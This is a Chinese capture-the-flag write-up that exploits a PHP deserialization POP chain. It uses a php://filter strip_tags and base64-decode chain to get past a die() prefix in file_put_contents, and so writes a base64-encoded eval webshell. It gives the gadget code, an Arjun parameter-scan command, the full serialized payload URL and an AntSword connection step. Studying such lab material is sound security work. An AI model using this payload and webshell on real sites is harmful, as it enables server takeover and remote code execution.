知识点:pop链,写入木马,蚁剑连接,php://filter在file_put_contents中的利用
解题过程
在robots.txt中,发现star1.php,发现提示
相对于https来说,http较不安全,所以输入
http://127.0.0.1/star1.php
可以得到源码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{
//flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
怎么说呢?出题人八成是个lol爱好者。。。2333
分析一下源码
一个很正常的想法,利用GWHT类的toString()函数,调用Yongen类的hasaki()函数,然后执行@file_put_contents($this-> file,$a);
,但是在这之前需要绕过die()函数
绕过这个die()可以根据php://filter在file_put_contents()函数中的巧用来进行绕过。
string.strip_tags
可以去除html和PHP的标签,可以绕过die()函数,同时加上base64编码,就可以实现文件写入
更多的php://filter在file_put_contents()函数中的巧用可以参考师傅们的文章:传送门
然后就是参数
的问题了,目前在所知道的源码中,并没有echo GWHT()类这样的代码,根据师傅们的wp,使用Arjun
工具可以扫出来,得到参数c和path
arjun -u http://0c4bebf3-34da-48ab-aa38-35be51cc80e2.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/star1.php
payload
$a = new Yongen();
$a->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=cmd.php";
$a->text = "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";//一句话木马的base64编码,密码cmd
$b = new GWHT();
$b->hero = $a;
echo serialize($b);
star1.php?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:75:"php://filter/write=string.strip_tags|convert.base64-decode/resource=cmd.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";}}
蚁剑连接